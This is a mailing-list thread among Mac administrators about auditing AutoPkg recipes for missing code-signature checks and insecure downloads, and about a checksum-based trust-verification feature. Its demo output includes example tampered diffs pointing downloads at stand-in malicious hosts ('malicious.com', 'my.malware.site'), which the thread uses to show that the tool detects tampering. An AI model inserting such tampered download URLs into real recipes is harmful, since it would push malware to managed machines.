Recipe auditing, security and maintenance - Seal of approval

[Erik]

Lately I've spent a considerable amount of time auditing autopkg recipes and I have found a somewhat alarming issue: 1 in every 4 recipes are missing code signature verification or SSL downloads. While my scope of recipes have been limited to about 45 different software packages (and roughly 800 recipes), I think we have an issue large enough that we should have a discussion. Outlined below are a few issues from highest priority to lowest that I think we somehow need to tackle.

Issue 1 - Code Signature validation

Most modern applications now have code signing, however many recipes are not validating the code signature. While some packages cannot be properly validated (*glares at Google Chrome*), authors should at minimum check for pkg/app code signatures. 

Issue 2 - Original author no longer maintaining recipes

As I've audited recipes, I have sent many PR's to recipe authors. One in particular informed me that he is no longer actively maintaining the recipes, but would gladly accept PR's. https://github.com/autopkg/justinrummel-recipes/pull/9 While this is great, we cannot ensure that recipe authors will stay within our community nor accept PRs. Perhaps our current workflow needs to re-designed.

Issue 3 - Package downloaded from insecure location.

This particular issue is less of a problem so long as Code Signature validation is present, however many of the recipes I audited had neither. Some companies also had improper CDN/proxy configurations and I could not move to HTTPS. Regardless, an author should attempt to use encryption if possible.

Issue 4 - Cleanup

Many recipes do not include any cleanup of the files that were originally downloaded. While my audit did not send PR's for fixing this, I do think recipe authors should attempt to cleanup as much as possible. runs can download a significant amount of data and within a few weeks require pruning. Cleaning up after a run would greatly help with this.

Issue 5 - Old recipes that should be abandoned.

https://github.com/autopkg/recipes/blob/master/TextMate/TextMate.download.recipe is a perfect example of a recipe that should be abandoned and possibly removed. It has no Code Signature validation nor SSL and after reaching out to the vendor, I was told there are no plans to fix these issues. The software also has many errors on modern OS X/macOS versions. 

Issue 6 - Duplicate recipes

I will admit that I am guilty of this as well (https://github.com/autopkg/autopkg/issues/288). While this issue is difficult to resolve, we do need to prune the duplicates and pick the one that adheres to the best standards.

So with all of these issues, what do we do? Well first, the community of businesses/macadmins should come together and audit the recipes at large. I think the initial focus should be on securing the packages (SSL, Code Signature or both) and then tackle the other outstanding issues. If you would like an example on a PR I issued, please see https://github.com/autopkg/cgerke-recipes/pull/9 

With regards to maintenance and the larger issues, we need to find a way to effectively list out the recipes that adhere to the best practices and ensure these are most visible to new autopkg users. While I do not have all of the issues, I hope that we can start a dialogue and come to some agreement with how to move forward.

[Elliot Jordan]

Hi Erik,

I'm really glad you started up this discussion.

After giving my "How not to do bad things with AutoPkg" speech a couple times now, I've started to feel guilty that all my recommendations are suggestions to individual administrators instead of to the community as a whole. Individual administrators are (and will continue to be) responsible for auditing AutoPkg's security as it relates to their organizations' needs, BUT some administrators will always just click the Easy Button. So, we as a community should make the defaults as safe as possible.

Central standardization is not always the answer, but I think it can definitely help with some of the issues you bring up. I'm going to follow your lead and audit a few of the recipes I run to make sure they follow established conventions like code signature verification and using HTTPS when possible. Kudos to you for taking that on.

There are currently three thought bubbles floating over my head, as follows:

AutoPkgr

Often, when we talk about "new AutoPkg users" we're also talking about AutoPkgr users. The Venn diagram isn't a perfect circle, but there's plenty of overlap. Therefore, I want to do what I can to make "the easy way" and "the secure way" one and the same for that crowd. For this, I may need help from those with Objective-C talent, because AutoPkgr is not the Linde Group's main gig, as many of you know.

One goal: Make AutoPkgr a bit more verbose about the "right" way to do things, for the benefit of administrators who may not yet know about the security implications of AutoPkg recipes. For example, nagging when the "update repos before every run" box is checked. (Or even better, a feature that allows easily reviewing and accepting repo changes.)

Regarding what you said here...

"effectively list out the recipes that adhere to the best practices and ensure these are most visible to new autopkg users"

...here's an idea we've been throwing around for a while: What if AutoPkgr collected anonymous statistics about public* recipe popularity? If we were able to see how many AutoPkgr instances are using each recipe in the AutoPkg org, we would be able to do two things:

1. Focus our auditing and testing energy on the recipes that make the most impact, and
2. Provide recipe popularity information in the AutoPkgr interface as another potential data point in answering the question, "Which of these recipes is the best?"

Of course, "popular" is rarely the same as "best," but I think it would correlate better than the number of GitHub stars a repository has.

(*It goes without saying that we have no need or desire to collect usage information about recipes that aren't in public repos. That information should remain private.)

Recipe Robot

Whatever conventions and guidelines we as a community designate as "good ideas," I want to build those ideas into Recipe Robot. This will make it easier for new recipe authors to do the "right" thing from the beginning, and will make it easy for experienced recipe authors to audit existing recipes for potential improvements, as Erik is doing now.

One example: Your issue 4 (Cleanup) is an interesting one, and I like the idea — proposed on Slack — of an ephemeral "workspace" area that is deleted after the recipe run is complete. Recipe Robot could easily be modified to enact this idea using existing processors, even with no modifications to AutoPkg itself.

Trusted Recipes / Seal of Approval

Myself and others are thinking about how to embed some sort of trust into AutoPkg recipes. More on this soon.

I'm glad I'm not the only one thinking about these things.

Elliot

--
You received this message because you are subscribed to the Google Groups "autopkg-discuss" group.
To unsubscribe from this group and stop receiving emails from it, send an email to autopkg-discu...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

[Hannes Juutilainen]

Oh, AutoPkg security, my favorite subject! A lot of good points already in this discussion and yes, thank you Erik for auditing a lot of recipes and starting this discussion.

HTTPS downloads and verifying the signature are the most important steps a recipe author can do to enhance recipe security. While I've not (yet) seen a compromised download processed by AutoPkg, I think it's only a matter of time before that happens. A perfect example of this is the Transmission ransomware incident earlier this year: http://researchcenter.paloaltonetworks.com/2016/03/new-os-x-ransomware-keranger-infected-transmission-bittorrent-client-installer/

While I think not many of us are deploying Transmission, the above is the most viable threat when blindly trusting what recipes download. CodeSignatureVerifier would have blocked that update immediately since the app was not signed with the expected certificate. Too bad the Transmission download recipe did not use CodeSignatureVerifier at all when this happened. We should be prepared for this happening again.

And this brings us to the attack vectors and threat models for AutoPkg end users. As an AutoPkg end user just running recipes, there's two really different things you're trusting:
1. You're trusting the downloaded item is in fact the item you were expecting to come out of the depths of internet.
    - This is mostly out of AutoPkg's control since we're connecting to some random servers in some random network location through some random network route. Keeping your AutoPkg machine's operating system as up-to-date as possible, using CodeSignatureVerifier and using HTTPS can help mitigate most of the risks involved here.
2. You're trusting the recipe author to not to do bad things.
    - Once the item is downloaded (and some sub item from it is verified) you're essentially handing all control to the recipe author.
    - The only way to know what's going to happen next is to manually read through the recipes involved and actually understand what they're doing. And keep going through the recipes every time there are updates for them.

I've become so paranoid about the item 2 that we're keeping private git repos for every publicly available recipe repo and manually merging upstream changes from the GitHub repos. Our AutoPkg machine will only see these private repos. And as a helper tool, I wrote the VirusTotalAnalyzer post processor to give a "second opinion" of the contents of downloaded files: https://github.com/hjuutilainen/autopkg-virustotalanalyzer


For the issue list by Erik:

Issue 1 - Code Signature validation
Most modern applications now have code signing, however many recipes are not validating the code signature. While some packages cannot be properly validated (*glares at Google Chrome*), authors should at minimum check for pkg/app code signatures.

I agree.

Issue 2 - Original author no longer maintaining recipes
As I've audited recipes, I have sent many PR's to recipe authors. One in particular informed me that he is no longer actively maintaining the recipes, but would gladly accept PR's. https://github.com/autopkg/justinrummel-recipes/pull/9 While this is great, we cannot ensure that recipe authors will stay within our community nor accept PRs. Perhaps our current workflow needs to re-designed.

There should be a process/workflow for retiring recipe repos.

Issue 3 - Package downloaded from insecure location.
This particular issue is less of a problem so long as Code Signature validation is present, however many of the recipes I audited had neither. Some companies also had improper CDN/proxy configurations and I could not move to HTTPS. Regardless, an author should attempt to use encryption if possible.

I agree.

Issue 4 - Cleanup
Many recipes do not include any cleanup of the files that were originally downloaded. While my audit did not send PR's for fixing this, I do think recipe authors should attempt to cleanup as much as possible. runs can download a significant amount of data and within a few weeks require pruning. Cleaning up after a run would greatly help with this.

I agree with this although I'm not sure what the best approach would be.

Issue 5 - Old recipes that should be abandoned.
https://github.com/autopkg/recipes/blob/master/TextMate/TextMate.download.recipe is a perfect example of a recipe that should be abandoned and possibly removed. It has no Code Signature validation nor SSL and after reaching out to the vendor, I was told there are no plans to fix these issues. The software also has many errors on modern OS X/macOS versions.

I have a few of these in my recipe repo too. I'm a bit wary of completely removing them as that will cause unneeded error messages if users have overrides for them. Maybe there's a need for a simple core processor that would just print log messages. With that, a recipe could send a deprecation message in AutoPkg output.

Issue 6 - Duplicate recipes
I will admit that I am guilty of this as well (https://github.com/autopkg/autopkg/issues/288). While this issue is difficult to resolve, we do need to prune the duplicates and pick the one that adheres to the best standards.

I'm not yet guilty of this but it has been close a few times. Some sort of popularity/quality indicator would be perfect for this and AutoPkgr might be the best place to implement it.

--

Hannes Juutilainen

[Gregory Neagle]

Get ready to do some reading...

https://github.com/autopkg/autopkg/commit/ca7ce2fb59ea435c867859e1f85e4003ea5caccc

Introduces a new 'audit' verb. Some sample output:

autopkg audit --recipe-list ~/Library/AutoPkg/disneyanimation

AdobeAIR.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/AdobeAIR.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeAIR/AdobeAir.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeAIR/AdobeAIR.pkg.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeAIR/AdobeAIR.download.recipe

    The following http URLs were found in the recipe:

        Input:

            URL: http://airdownload.adobe.com/air/mac/download/latest/AdobeAIR.dmg

    The following processors make modifications and their use in this recipe should be more closely inspected:

        PkgCreator

        PlistEditor

        PkgInfoCreator

        Copier

        PathDeleter

AdobeFlashPlayer.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/AdobeFlashPlayer.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeFlashPlayer/AdobeFlashPlayer.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        AdobeFlashURLProvider

AdobeReader.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/AdobeReader.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeReader/AdobeReader.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeReader/AdobeReader.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        AdobeReaderURLProvider

<snip>

munkitools2.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/munkitools2.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/munkitools/munkitools2.munki.recipe

    Missing CodeSignatureVerifier

    The following processors make modifications and their use in this recipe should be more closely inspected:

        FlatPkgPacker

MakeCatalogs.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/Munki/MakeCatalogs.munki.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MakeCatalogsProcessor

Summary:

    39 recipes audited

    37 recipes with audit issues

    2 recipes with no issues to report

`autopkg audit` currently flags the following things if found in a recipe (or its parents):

1) If the recipe (or its parents) contains a download processor ('CURLDownloader', 'URLDownloader') and does not contain a CodeSignatureVerifier step, this is flagged.

2) Any http: URLs are flagged.

3) Any "creator processor" ('DmgCreator', 'FlatPkgPacker', 'PkgCreator') causes a flag -- use of these implies that the recipe modifies the item provided by the vendor.

4) Any non-core processor is flagged: these can do any arbitrary thing, including repackaging, and therefore may modify the item provided by the vendor.

37 out of 39 recipes with audit issues doesn't reduce the noise much (yet). But 14 these have in their issues list either an absent CodeSignatureVerifier step or an http URL. If these issues were addressed, we'd have 23 recipes to look at more closely. For example:

MSWord2016.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/MSWord2016.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSWord2016.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSWord2016.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MSOffice2016URLandUpdateInfoProvider

MSExcel2016.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/MSExcel2016.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSExcel2016.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSExcel2016.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MSOffice2016URLandUpdateInfoProvider

MSPowerPoint2016.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/MSPowerPoint2016.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSPowerPoint2016.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSPowerPoint2016.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MSOffice2016URLandUpdateInfoProvider

MSOutlook2016.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/MSOutlook2016.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSOutlook2016.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSOutlook2016.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MSOffice2016URLandUpdateInfoProvider

MSOneNote2016.munki

    File path:        /Users/gneagle/Library/AutoPkg/RecipeOverrides/MSOneNote2016.munki.recipe

    Parent recipe(s): /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSOneNote2016.munki.recipe

                      /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/MSOfficeUpdates/MSOneNote2016.download.recipe

    The following processors are non-core and can execute arbitrary code, performing any action.

    Be sure you understand what the processor does and/or you trust its source:

        MSOffice2016URLandUpdateInfoProvider

These recipes all use the same non-core processor: MSOffice2016URLandUpdateInfoProvider.

If we could tell `autopkg audit` that this processor was "trusted", that would eliminate five more recipes from the list.

I have some ideas on how we could do this in a reasonably secure manner such that future changes to that processor would cause the warnings to resurface.

Here's my thinking:

The admin could add additional data to a recipe override (some of this might be done automatically by `autopkg make-override` eventually):

1) Each parent recipe could be explicitly listed, along with a checksum. As long as the checksum for each parent recipe doesn't change, the parent recipes would be "trusted".

2) Each non-core processor used by the recipe (or its parents) could be explicitly listed, also with a checksum. Again, as long as the checksum does not change, the non-core processor would be "trusted".

Trusting the parents and the non-core processors would be a manual option -- the admin would use a command to add this information to a recipe override. When `autopkg audit` runs, it would use this additional data to decide whether or not to warn about a potential issue for a given recipe.

Eventually, the audit mechanism might be tied into the `repo-add` and `repo-update` verbs to either automatically do an audit when repos are added or updated, or at least to remind the admin that it's a good idea to do an audit.

Let the discussion begin.

-Greg

On Jul 6, 2016, at 10:27 AM, Erik <eriknico...@gmail.com> wrote:

[Nick McSpadden]

This is fantastic work, but I'd like to take it a step further and add a preference to automatically reject any recipe which doesn't meet these trust guidelines.  

If there's an untrusted processor that isn't checksummed correctly, or isn't checksummed at all, this entire recipe should be skipped and an error should be logged.  If this is part of a run of multiple recipes, move on to the next one (rather than abort the run).

--

--
Nick McSpadden
nmcsp...@gmail.com

[Gregory Neagle]

On Jul 7, 2016, at 4:22 PM, Nick McSpadden <nmcsp...@gmail.com> wrote:

This is fantastic work, but I'd like to take it a step further and add a preference to automatically reject any recipe which doesn't meet these trust guidelines.  

Maybe we'll get there eventually, but not today. Baby steps.

[Erik]

Greg, this is great work.

I've attached a gist after running the audit on a significant amount of download recipes (I would caution others to _not_ do this unless they have a Mac Pro).

https://gist.github.com/erikng/3c03684d93d7bba65ca8c7fbfd5684ff

Summary:

    878 recipes audited

    665 recipes with audit issues

    213 recipes with no issues to report

We have a lot of work ahead of us. :)

[Erik Gomez]

Apologies to some recipe authors but I did not run a git pull prior to this audit. Tomorrow I will start from scratch and post a new one. 

[Tim Sutton]

I had some initial thoughts to Erik's post but since then Greg's come up with the audit tool which looks like a fantastic start. Have a couple points left outside of the `autopkg audit` discussion:

Issue 2 - Original author no longer maintaining recipes

As I've audited recipes, I have sent many PR's to recipe authors. One in particular informed me that he is no longer actively maintaining the recipes, but would gladly accept PR's. https://github.com/autopkg/justinrummel-recipes/pull/9 While this is great, we cannot ensure that recipe authors will stay within our community nor accept PRs. Perhaps our current workflow needs to re-designed.

It would be nice if an AutoPkg recipe could at least specify a 'redirect' to at least a new recipe location where a currently-mainted version of the same recipe can be found. Then AutoPkg would, instead of running it, print out the info about the new repo. I'd imagine that one may also want to "deprecate" an entire repo rather than each recipe and AutoPkg could just offer to remove it from one's cloned repos.

 

Issue 3 - Package downloaded from insecure location.

This particular issue is less of a problem so long as Code Signature validation is present, however many of the recipes I audited had neither. Some companies also had improper CDN/proxy configurations and I could not move to HTTPS. Regardless, an author should attempt to use encryption if possible.

I think what's most important that for cases where there's a Sparkle feed or a website being scraped, is HTTPS. When I installed something from the App Store last week, my Caching Server's logs indicated that it downloaded the actual pkg via HTTP. But the App Store goes through so much crypto just to get to the point of actually downloading a package.

 

Issue 4 - Cleanup

Many recipes do not include any cleanup of the files that were originally downloaded. While my audit did not send PR's for fixing this, I do think recipe authors should attempt to cleanup as much as possible. runs can download a significant amount of data and within a few weeks require pruning. Cleaning up after a run would greatly help with this.

Cleaning up makes sense to me, although you need to _at least_ keep the original downloaded file, if you want AutoPkg to not download it again on a subsequent run. It stores the server check metadata as an extended attribute on the file.

The idea of having a "workspace" in a temp dir seems logical to me to avoid recipe maintainers needing to care about cleaning up particular files. Maybe CACHE_DIR is something that could be special-cased to persist files only when they should be, and all intermediate files use a workspace, but since AutoPkg doesn't have any hard and fast rules about what's the "final" output of a recipe it seems like there are some complex heuristics required to try and guess what's important to keep and what isn't.

 

Issue 5 - Old recipes that should be abandoned.

https://github.com/autopkg/recipes/blob/master/TextMate/TextMate.download.recipe is a perfect example of a recipe that should be abandoned and possibly removed. It has no Code Signature validation nor SSL and after reaching out to the vendor, I was told there are no plans to fix these issues. The software also has many errors on modern OS X/macOS versions.

I agree this recipe should be removed. What we don't have right now in AutoPkg is a very simple way of communicating any such removals to the user. Someone can do a repo-update, the recipe is gone, and AutoPkg reports next time that it cannot find it. Perhaps the above idea about redirecting could also potentially be extended to "deprecating" a recipe where it just exists as a reference but it is clear to the user that it's no longer supported and should be removed.

[Mr. Alan Siu]

I wonder if, after the audit process is completely agreed upon, it makes sense to restructure the GitHub repo to be similar to how Ubuntu does their repos—theirs is based on open source licensing, but the AutoPkg repos could be organized based on the audit report score.

Ubuntu starts off with Main and Universe, I believe, and then you have the option to add Multiverse and various PPAs.

AutoPkg could have a core set of recipes that use https and code signature verification, with that repository added in by default, and then you have the option to add additional repositories that may be less secure.

Right now the organization is based on recipe maintainer instead of by recipe quality. Would a reorganization of the recipes be too big an undertaking with too little benefit? It may also break (URL) links that people have to specific recipes.

Alan Siu

Client Systems Analyst

St. Ignatius College Preparatory

[Tim Sutton]

As far as how the repos are organized, we've been able to get by so far without having to write and maintain our own registry-like service that would be able to track such metadata. This wouldn't prevent someone, however, from scripting an audit across many repos (like I believe Erik is doing now) and then posting the results for one or more community members to review or post issues/PRs for fixes.

I think this goes back to the discussion about which elements of an audit are "obvious" fixes and which are just things the consumer of a given recipe should be aware of.

The organization of repos isn't strictly by maintainer although it's evolved that way - repos are free to add more maintainers or to group themselves by something other than who maintains them.

Not that you were suggesting this, but as a bit of an aside I'm not personally in favour of moving everything into a completely mono repo like Homebrew, because the problem of how to "package manage" software on one platform is very different than the problem of packing one app (which may have a few variants) into many different distribution platforms, and I'm not sure it's sustainable to coerce every potential recipe maintainer into a strict set of requirements for inclusion into a "core" repo. Of course with Homebrew there is still first-class support for supporting alternate repos where maintainers can do whatever they like.

Tim

[Mr. Alan Siu]

I think this goes back to the discussion about which elements of an audit are "obvious" fixes and which are just things the consumer of a given recipe should be aware of.

Yes, I'd definitely want to know, of the recipes I could potentially use, which ones are essentially unfixable (there is no version 2 to use code signature verifier on and/or no available https download location) and which ones are just yet-to-be-fixed.

For the latter, I'd have the option to even make a pull request. The former would just waste my time to investigate if the recipe maintainer had already looked into https and code signature verification.

Alan Siu

Client Systems Analyst

St. Ignatius College Preparatory

[Gregory Neagle]

On Jul 8, 2016, at 10:04 AM, Mr. Alan Siu <as...@siprep.org> wrote:

I think this goes back to the discussion about which elements of an audit are "obvious" fixes and which are just things the consumer of a given recipe should be aware of.

Yes, I'd definitely want to know, of the recipes I could potentially use, which ones are essentially unfixable (there is no version 2 to use code signature verifier on and/or no available https download location) and which ones are just yet-to-be-fixed.

For the latter, I'd have the option to even make a pull request. The former would just waste my time to investigate if the recipe maintainer had already looked into https and code signature verification.

The maintainer could add this information into the recipe description.

[Mr. Alan Siu]

Thanks, Greg. I wasn't sure if it made sense for there to be some kind of flag or other way to tell apart from a note in the description. Since, presumably, those will be the exception rather than the rule, a description note totally makes sense.

Alan Siu

Client Systems Analyst

St. Ignatius College Preparatory

[Erik]

I have rerun the audit and as of a few minutes ago here is the status of _all_ .download.recipes across the entire autopkg recipe base.

txt form

https://gist.github.com/erikng/3c03684d93d7bba65ca8c7fbfd5684ff#file-audit-txt

plist form

https://gist.github.com/erikng/3c03684d93d7bba65ca8c7fbfd5684ff#file-audit-plist 

Summary:

    1182 recipes audited

    914 recipes with audit issues

    268 recipes triggered no audit flags

[Gregory Neagle]

On Jul 7, 2016, at 4:06 PM, Gregory Neagle <gregn...@mac.com> wrote:

I have some ideas on how we could do this in a reasonably secure manner such that future changes to that processor would cause the warnings to resurface.

Here's my thinking:

The admin could add additional data to a recipe override (some of this might be done automatically by `autopkg make-override` eventually):

1) Each parent recipe could be explicitly listed, along with a checksum. As long as the checksum for each parent recipe doesn't change, the parent recipes would be "trusted".

2) Each non-core processor used by the recipe (or its parents) could be explicitly listed, also with a checksum. Again, as long as the checksum does not change, the non-core processor would be "trusted".

Trusting the parents and the non-core processors would be a manual option -- the admin would use a command to add this information to a recipe override. When `autopkg audit` runs, it would use this additional data to decide whether or not to warn about a potential issue for a given recipe.

Eventually, the audit mechanism might be tied into the `repo-add` and `repo-update` verbs to either automatically do an audit when repos are added or updated, or at least to remind the admin that it's a good idea to do an audit.

Here's a start of that:

% ./autopkg run TestAdobeFlashPlayerOverride.munki
Processing TestAdobeFlashPlayerOverride.munki...
Failed.

The following recipes failed:
    TestAdobeFlashPlayerOverride.munki
        Could not verify trust of parent recipes and custom processors:
Expected hash 2c3456a7cd28037ab7de1b8fd5883743954b665fb7d5aaaec37bf4829a4824e4 for non-core processor AdobeFlashURLProvider, got fda060422a2fd9d1df7b28cd304b60660810cfa9ecf8619e59732b90767964f8
(Processor AdobeFlashURLProvider has been changed.)
Expected hash 5d444afa08a86b73cb2eea9c94de0ee201c03a42471f512ea345baa0851581ef for parent recipe com.github.autopkg.download.FlashPlayer, got d3f2ae0f10f07489c083b8ad7f4f00e988c049850e9be20f41ea6a9dc568e878
(Parent recipe com.github.autopkg.download.FlashPlayer has been changed.)

This will be enabled by new data that is stored in a recipe override. Here's the data for the TestAdobeFlashPlayerOverride.munki recipe:

<key>ParentRecipeTrustInfo</key>

<dict>

<key>non_core_processors</key>

<dict>

<key>AdobeFlashURLProvider</key>

<string>2c3456a7cd28037ab7de1b8fd5883743954b665fb7d5aaaec37bf4829a4824e4</string>

</dict>

<key>parent_recipes</key>

<dict>

<key>com.github.autopkg.download.FlashPlayer</key>

<string>5d444afa08a86b73cb2eea9c94de0ee201c03a42471f512ea345baa0851581ef</string>

<key>com.github.autopkg.munki.FlashPlayerNoRepackage</key>

<string>2d9c62120dd57503be1d3a3b8e49f6baa7ecf79ae6298c843769b7c35058f598</string>

</dict>

</dict>

The string stored with the names of each non-core processor and each parent recipe identifier is a sha256 hash of the file containing the processor or parent recipe.

The plan is that `autopkg make-override` will automatically add this information to new recipe overrides. By making a recipe override you are saying "I trust its parents and the non-core processors they use _as of the time I make this override_". If the parents or the non-core processors change, the trust is broken, which should cause the autopkg admin to re-examine/re-audit the changes.

There will need to be a new verb to update the trust info for an existing override.

I suppose there will need to be a new flag for `autopkg run` to tell it to ignore parent trust failures as well.

-Greg

[Nick McSpadden]

Thank you for doing this, I'll give this a spin very soon.

--
You received this message because you are subscribed to the Google Groups "autopkg-discuss" group.
To unsubscribe from this group and stop receiving emails from it, send an email to autopkg-discu...@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.

[Gregory Neagle]

I haven't committed anything yet -- I'm still in a experimental phase. I'll announce when I have something to test -- it will likely be in a new branch at first. 

Sent from my iPhone

[Gregory Neagle]

More experimenting:

% ./autopkg run TestAdobeFlash.munki

Processing TestAdobeFlash.munki...

Failed.

The following recipes failed:

    TestAdobeFlash.munki

        Could not verify trust of parent recipes and custom processors:

Processor AdobeFlashURLProvider has been changed.

Processor path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeFlashPlayer/AdobeFlashURLProvider.py

diff --git a/AdobeFlashPlayer/AdobeFlashURLProvider.py b/AdobeFlashPlayer/AdobeFlashURLProvider.py

index bc6379d..3805bb0 100644

--- a/AdobeFlashPlayer/AdobeFlashURLProvider.py

+++ b/AdobeFlashPlayer/AdobeFlashURLProvider.py

@@ -24,7 +24,7 @@ from autopkglib import Processor, ProcessorError

 

 __all__ = ["AdobeFlashURLProvider"]

 

-UPDATE_XML_URL = ("http://fpdownload2.macromedia.com/"

+UPDATE_XML_URL = ("http://fpdownload2.malicious.com/"

                   "get/flashplayer/update/current/xml/version_en_mac_pl.xml")

 

 DOWNLOAD_TEMPLATE_URL = ("https://fpdownload.macromedia.com/"

Nothing downloaded, packaged or imported.

Not only is a difference flagged, but you are given a git diff highlighting the changes.

Another example:

% ./autopkg run TestAdobeFlash.munki

Processing TestAdobeFlash.munki...

Failed.

The following recipes failed:

    TestAdobeFlash.munki

        Could not verify trust of parent recipes and custom processors:

Parent recipe com.github.autopkg.download.FlashPlayer has been changed.

Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.recipes/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe

diff --git a/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe b/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe

index 2824fc4..7aab179 100644

--- a/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe

+++ b/AdobeFlashPlayer/AdobeFlashPlayer.download.recipe

@@ -24,6 +24,8 @@

             <string>URLDownloader</string>

             <key>Arguments</key>

             <dict>

+                <key>url</key>

+                <string>http://my.malware.site/flash.dmg</string>

                 <key>filename</key>

                 <string>%NAME%.dmg</string>

             </dict>

Nothing downloaded, packaged or imported.

[Erik Gomez]

That's pretty awesome. 

[Gregory Neagle]

My current experiments around parent recipe trust verification are available here:

https://github.com/autopkg/autopkg/tree/recipe-checksumming

`autopkg make-override Foo.recipe`  "automagically" adds parent recipe trust verification info to the override.

`autopkg verify-trust-info some.recipe` verifies the trust info

`autopkg update-trust-info some.recipe` updates existing trust info or adds it if there is none. It's meant to be used on recipe overrides, but might be useful on any child recipe.

`autopkg run some.recipe` will fail a given recipe if trust verification fails. this can be overridden by adding --ignore-parent-trust-verification-errors

Have fun!

-Greg

[Gregory Neagle]

On Jul 21, 2016, at 4:40 PM, Gregory Neagle <gregn...@mac.com> wrote:

My current experiments around parent recipe trust verification are available here:

https://github.com/autopkg/autopkg/tree/recipe-checksumming

`autopkg make-override Foo.recipe`  "automagically" adds parent recipe trust verification info to the override.

`autopkg verify-trust-info some.recipe` verifies the trust info

`autopkg update-trust-info some.recipe` updates existing trust info or adds it if there is none. It's meant to be used on recipe overrides, but might be useful on any child recipe.

`autopkg run some.recipe` will fail a given recipe if trust verification fails. this can be overridden by adding --ignore-parent-trust-verification-errors

An example workflow showing how this might be useful:

I added trust info to ~50 recipe overrides:

autopkg update-trust-info ~/Library/AutoPkg/RecipeOverrides/*.recipe

This also found three "abandoned" overrides -- overrides I created a long time ago for recipes that no longer exist.

I then updated all repos:

autopkg repo-update all

This resulted in over 800 lines of output, telling me about updates for over 400 recipes, most of which I do not use. It would be tedious to parse this list to find the changes for the recipes I do use.

Next, I attempted to re-verify all my recipe overrides:

autopkg verify-trust-info ~/Library/AutoPkg/RecipeOverrides/*.recipe

Only _two_ of my overrides did not pass verification. Here's one:

Parent trust info verification failed for /Users/gneagle/Library/AutoPkg/RecipeOverrides/LibreOffice.munki.recipe

Could not verify trust of parent recipes and custom processors:

Expected non-core processor list: [u'LibreOfficeURLProvider']

Actual non-core processor list: []

Our stored checksum for processor LibreOfficeURLProvider does not match the current content of that processor.

Perhaps processor LibreOfficeURLProvider has been changed.

Processor path: None

Our stored checksum for parent recipe io.github.hjuutilainen.download.LibreOffice does not match the current content of that recipe.

Perhaps parent recipe io.github.hjuutilainen.download.LibreOffice has been changed.

Recipe path: /Users/gneagle/Library/AutoPkg/RecipeRepos/com.github.autopkg.hjuutilainen-recipes/LibreOffice/LibreOffice.download.recipe

diff --git a/LibreOffice/LibreOffice.download.recipe b/LibreOffice/LibreOffice.download.recipe

index d0ee986..16f0765 100644

--- a/LibreOffice/LibreOffice.download.recipe

+++ b/LibreOffice/LibreOffice.download.recipe

@@ -3,17 +3,18 @@

 <plist version="1.0">

